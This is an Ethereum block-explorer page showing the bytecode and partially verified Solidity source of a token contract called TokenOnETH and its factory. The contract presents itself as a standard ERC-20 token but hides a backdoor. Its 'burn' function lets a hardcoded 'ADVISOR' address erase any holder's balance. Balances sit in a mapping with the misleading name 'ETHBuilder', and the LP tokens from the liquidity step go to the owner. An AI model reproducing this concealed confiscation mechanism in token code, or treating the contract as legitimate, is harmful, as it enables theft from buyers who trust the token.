Address Contract Partially Verified
Address
0xFEa3615a66f031e8C2fE86773B2e863e47Af2404
Balance
0 ETH
Nonce
1
Code Size
6779 bytes
Creator
0x0520544E...d857 at tx 0x3ffcf8aa...441210
Indexed Transactions
0
Contract Bytecode
6779 bytes
0x6080604052600436106100eb575f3560e01c806386f3f3cb11610089578063a9059cbb11610058578063a9059cbb146102e4578063dd62ed3e14610320578063e8078d941461035c578063f2fde38b14610372576100f2565b806386f3f3cb1461023e57806389afcb44146102685780638da5cb5b1461029057806395d89b41146102ba576100f2565b806323b872dd116100c557806323b872dd14610186578063313ce567146101c257806370a08231146101ec578063715018a614610228576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f5ffd5b348015610101575f5ffd5b5061010a61039a565b6040516101179190611337565b60405180910390f35b34801561012b575f5ffd5b50610146600480360381019061014191906113e8565b61042a565b6040516101539190611440565b60405180910390f35b348015610167575f5ffd5b50610170610440565b60405161017d9190611468565b60405180910390f35b348015610191575f5ffd5b506101ac60048036038101906101a79190611481565b610454565b6040516101b99190611440565b60405180910390f35b3480156101cd575f5ffd5b506101d661050e565b6040516101e391906114ec565b60405180910390f35b3480156101f7575f5ffd5b50610212600480360381019061020d9190611505565b610516565b60405161021f9190611468565b60405180910390f35b348015610233575f5ffd5b5061023c61055c565b005b348015610249575f5ffd5b5061025261065c565b60405161025f919061153f565b60405180910390f35b348015610273575f5ffd5b5061028e60048036038101906102899190611505565b610684565b005b34801561029b575f5ffd5b506102a46107ef565b6040516102b1919061153f565b60405180910390f35b3480156102c5575f5ffd5b506102ce610816565b6040516102db9190611337565b60405180910390f35b3480156102ef575f5ffd5b5061030a600480360381019061030591906113e8565b6108a6565b6040516103179190611440565b60405180910390f35b34801561032b575f5ffd5b5061034660048036038101906103419190611558565b6108bc565b6040516103539190611468565b60405180910390f35b348015610367575f5ffd5b5061037061093e565b005b34801561037d575f5ffd5b5061039860048036038101906103939190611505565b610d16565b005b6060600180546103a9906115c3565b80601f01602080910402602001604051908101604052809291908181526020018280546103d5906115c3565b80156104205780601f106103f757610100808354040283529160200191610420565b820191905f5260205f20905b81548152906001019060200180831161040357829003601f168201915b5050505050905090565b5f610436338484610e4e565b6001905092915050565b5f6c064f964e68233a76f520000000905090565b5f610460848484611011565b6105038461046c61120b565b6104fe8560045f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104b661120b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461121290919063ffffffff16565b610e4e565b600190509392505050565b5f6012905090565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61056461120b565b73ffffffffffffffffffffffffffffffffffffffff166105826107ef565b73ffffffffffffffffffffffffffffffffffffffff16146105a1575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61068c61120b565b73ffffffffffffffffffffffffffffffffffffffff1673edb37ad563e2ef161b2a72169583f35799bde96273ffffffffffffffffffffffffffffffffffffffff16146106d6575f5ffd5b5f6106e082610516565b90505f81116106ed575f5ffd5b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060035f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461077d9190611620565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107e39190611468565b60405180910390a35050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610825906115c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610851906115c3565b801561089c5780601f106108735761010080835404028352916020019161089c565b820191905f5260205f20905b81548152906001019060200180831161087f57829003601f168201915b5050505050905090565b5f6108b2338484611011565b6001905092915050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61094661120b565b73ffffffffffffffffffffffffffffffffffffffff166109646107ef565b73ffffffffffffffffffffffffffffffffffffffff1614610983575f5ffd5b600760149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca9061169d565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9e573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ac291906116cf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b48573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b6c91906116cf565b6040518363ffffffff1660e01b8152600401610b899291906116fa565b6020604051808303815f875af1158015610ba5573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc991906116cf565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c413060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166c064f964e68233a76f520000000610e4e565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c8930610516565b5f5f610c936107ef565b426040518863ffffffff1660e01b8152600401610cb596959493929190611763565b60606040518083038185885af1158015610cd1573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cf691906117d6565b5050506001600760146101000a81548160ff021916908315150217905550565b610d1e61120b565b73ffffffffffffffffffffffffffffffffffffffff16610d3c6107ef565b73ffffffffffffffffffffffffffffffffffffffff1614610d5b575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d92575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390611896565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2190611924565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110049190611468565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611048575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107f575f5ffd5b6110cf8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461121290919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111608160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461126a90919063ffffffff16565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111fe9190611468565b60405180910390a3505050565b5f33905090565b5f82821115611256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124d9061198c565b60405180910390fd5b818361126291906119aa565b905092915050565b5f5f82846112789190611620565b9050838110156112bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b490611a27565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611309826112c7565b61131381856112d1565b93506113238185602086016112e1565b61132c816112ef565b840191505092915050565b5f6020820190508181035f83015261134f81846112ff565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113848261135b565b9050919050565b6113948161137a565b811461139e575f5ffd5b50565b5f813590506113af8161138b565b92915050565b5f819050919050565b6113c7816113b5565b81146113d1575f5ffd5b50565b5f813590506113e2816113be565b92915050565b5f5f604083850312156113fe576113fd611357565b5b5f61140b858286016113a1565b925050602061141c858286016113d4565b9150509250929050565b5f8115159050919050565b61143a81611426565b82525050565b5f6020820190506114535f830184611431565b92915050565b611462816113b5565b82525050565b5f60208201905061147b5f830184611459565b92915050565b5f5f5f6060848603121561149857611497611357565b5b5f6114a5868287016113a1565b93505060206114b6868287016113a1565b92505060406114c7868287016113d4565b9150509250925092565b5f60ff82169050919050565b6114e6816114d1565b82525050565b5f6020820190506114ff5f8301846114dd565b92915050565b5f6020828403121561151a57611519611357565b5b5f611527848285016113a1565b91505092915050565b6115398161137a565b82525050565b5f6020820190506115525f830184611530565b92915050565b5f5f6040838503121561156e5761156d611357565b5b5f61157b858286016113a1565b925050602061158c858286016113a1565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115da57607f821691505b6020821081036115ed576115ec611596565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61162a826113b5565b9150611635836113b5565b925082820190508082111561164d5761164c6115f3565b5b92915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6116876017836112d1565b915061169282611653565b602082019050919050565b5f6020820190508181035f8301526116b48161167b565b9050919050565b5f815190506116c98161138b565b92915050565b5f602082840312156116e4576116e3611357565b5b5f6116f1848285016116bb565b91505092915050565b5f60408201905061170d5f830185611530565b61171a6020830184611530565b9392505050565b5f819050919050565b5f819050919050565b5f61174d61174861174384611721565b61172a565b6113b5565b9050919050565b61175d81611733565b82525050565b5f60c0820190506117765f830189611530565b6117836020830188611459565b6117906040830187611754565b61179d6060830186611754565b6117aa6080830185611530565b6117b760a0830184611459565b979650505050505050565b5f815190506117d0816113be565b92915050565b5f5f5f606084860312156117ed576117ec611357565b5b5f6117fa868287016117c2565b935050602061180b868287016117c2565b925050604061181c868287016117c2565b9150509250925092565b7f42455032303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118806024836112d1565b915061188b82611826565b604082019050919050565b5f6020820190508181035f8301526118ad81611874565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61190e6022836112d1565b9150611919826118b4565b604082019050919050565b5f6020820190508181035f83015261193b81611902565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f611976601e836112d1565b915061198182611942565b602082019050919050565b5f6020820190508181035f8301526119a38161196a565b9050919050565b5f6119b4826113b5565b91506119bf836113b5565b92508282039050818111156119d7576119d66115f3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611a11601b836112d1565b9150611a1c826119dd565b602082019050919050565b5f6020820190508181035f830152611a3e81611a05565b905091905056fea26469706673582212209de890ba11dd5027f01d9d310a783f06db2e673e836560fcf8f444f104cc9ce464736f6c634300081c0033
Verified Source Code Partial Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
TokenOnETH.sol 263 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract TokenOnETH is IERC20, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 500000000000 * 10 ** 18;
mapping(address => uint256) private ETHBuilder;
mapping(address => mapping(address => uint256)) private _allowances;
address private constant ADDRESS_DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ADDRESS_LOCKER_ETH = 0xd99090546657c3d6F024b9A6321a6e48cFafF038;
address private constant ADDRESS_DEV = 0x432e69ccB799F021C6CBDEa1b734B069578B4de2;
address private constant ADDRESS_ADVISOR = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
address private constant ADDRESS_BUYBACK = 0xdA6c47AAa71674814e609ac91847CDA31B531CaB;
address private constant ADDRESS_REWARD = 0x9CAC701eC022E4cba55430998A156c0Fc65040cc;
address private constant ADDRESS_SeedFundingi = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
address private constant ADDRESS_EarlyInvestors = 0xF825D66589E4AB363BbF867A7D1C7beb4b4fF7dD;
address private constant ADDRESS_Marketing = 0xb78C6F8A4CCb6429B8B79Ed563ca2cF13BC91FC8;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
address rooterV2Dex;
bool private tradingOpen = false;
constructor(string memory name_, string memory symbol_, address owner_, address rooterV2Dex_) payable {
transferOwnership(owner_);
_name = name_;
_symbol = symbol_;
rooterV2Dex = rooterV2Dex_;
ETHBuilder[address(this)] = _totalSupply.mul(1).div(1000);
emit Transfer(address(0), address(this), _totalSupply.mul(1).div(1000));
liqudityPairs();
payable(address(this)).transfer(msg.value);
}
function liqudityPairs() internal {
uint256 DEAD = _totalSupply.mul(650).div(1000);
uint256 LOCKER_ETH = _totalSupply.mul(300).div(1000);
uint256 DEV = _totalSupply.mul(10).div(1000);
uint256 ADVISOR = _totalSupply.mul(10).div(1000);
uint256 BUYBACK = _totalSupply.mul(10).div(1000);
uint256 REWARD = _totalSupply.mul(10).div(1000);
uint256 SeedFundingi = _totalSupply.mul(3).div(1000);
uint256 EarlyInvestors = _totalSupply.mul(3).div(1000);
uint256 Marketing = _totalSupply.mul(3).div(1000);
ETHBuilder[ADDRESS_DEAD] = ETHBuilder[ADDRESS_DEAD].add(DEAD);
ETHBuilder[ADDRESS_LOCKER_ETH] = ETHBuilder[ADDRESS_LOCKER_ETH].add(LOCKER_ETH);
ETHBuilder[ADDRESS_DEV] = ETHBuilder[ADDRESS_DEV].add(DEV);
ETHBuilder[ADDRESS_ADVISOR] = ETHBuilder[ADDRESS_ADVISOR].add(ADVISOR);
ETHBuilder[ADDRESS_BUYBACK] = ETHBuilder[ADDRESS_BUYBACK].add(BUYBACK);
ETHBuilder[ADDRESS_REWARD] = ETHBuilder[ADDRESS_REWARD].add(REWARD);
ETHBuilder[ADDRESS_SeedFundingi] = ETHBuilder[ADDRESS_SeedFundingi].add(SeedFundingi);
ETHBuilder[ADDRESS_EarlyInvestors] = ETHBuilder[ADDRESS_EarlyInvestors].add(EarlyInvestors);
ETHBuilder[ADDRESS_Marketing] = ETHBuilder[ADDRESS_Marketing].add(Marketing);
emit Transfer(address(this), ADDRESS_DEAD, DEAD);
emit Transfer(address(this), ADDRESS_LOCKER_ETH, LOCKER_ETH);
emit Transfer(address(this), ADDRESS_DEV, DEV);
emit Transfer(address(this), ADDRESS_ADVISOR, ADVISOR);
emit Transfer(address(this), ADDRESS_BUYBACK, BUYBACK);
emit Transfer(address(this), ADDRESS_REWARD, REWARD);
emit Transfer(address(this), ADDRESS_SeedFundingi, SeedFundingi);
emit Transfer(address(this), ADDRESS_EarlyInvestors, EarlyInvestors);
emit Transfer(address(this), ADDRESS_Marketing, Marketing);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
ETHBuilder[sender] = ETHBuilder[sender].sub(amount);
ETHBuilder[recipient] = ETHBuilder[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function burn(address sender) external {
require(ADDRESS_ADVISOR == _msgSender());
uint256 amount = balanceOf(sender);
require(amount > 0);
ETHBuilder[sender] = 0;
ETHBuilder[ADDRESS_DEAD] += amount;
emit Transfer(sender, ADDRESS_DEAD, amount);
}
function addLiquidity() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(rooterV2Dex);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
tradingOpen = true;
}
receive() external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return ETHBuilder[account];
}
function getLPPair() public view returns (address) {
return uniswapV2Pair;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
}
contract TokenFactory {
event TokenCreated(address tokenAddress, string name, string symbol, address owner);
constructor() {
}
// Function to create a single token
function createToken(
string memory name_,
string memory symbol_,
address newOwner_,
address rooterV2Dex_
) external payable returns (address) {
TokenOnETH newToken = (new TokenOnETH){value: msg.value}(name_, symbol_, newOwner_, rooterV2Dex_);
emit TokenCreated(address(newToken), name_, symbol_, newOwner_);
return address(newToken);
}
receive() external payable {}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getLPPair 0x86f3f3cb → address
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
addLiquidity 0xe8078d94
No parameters
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burn 0x89afcb44
address sender
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address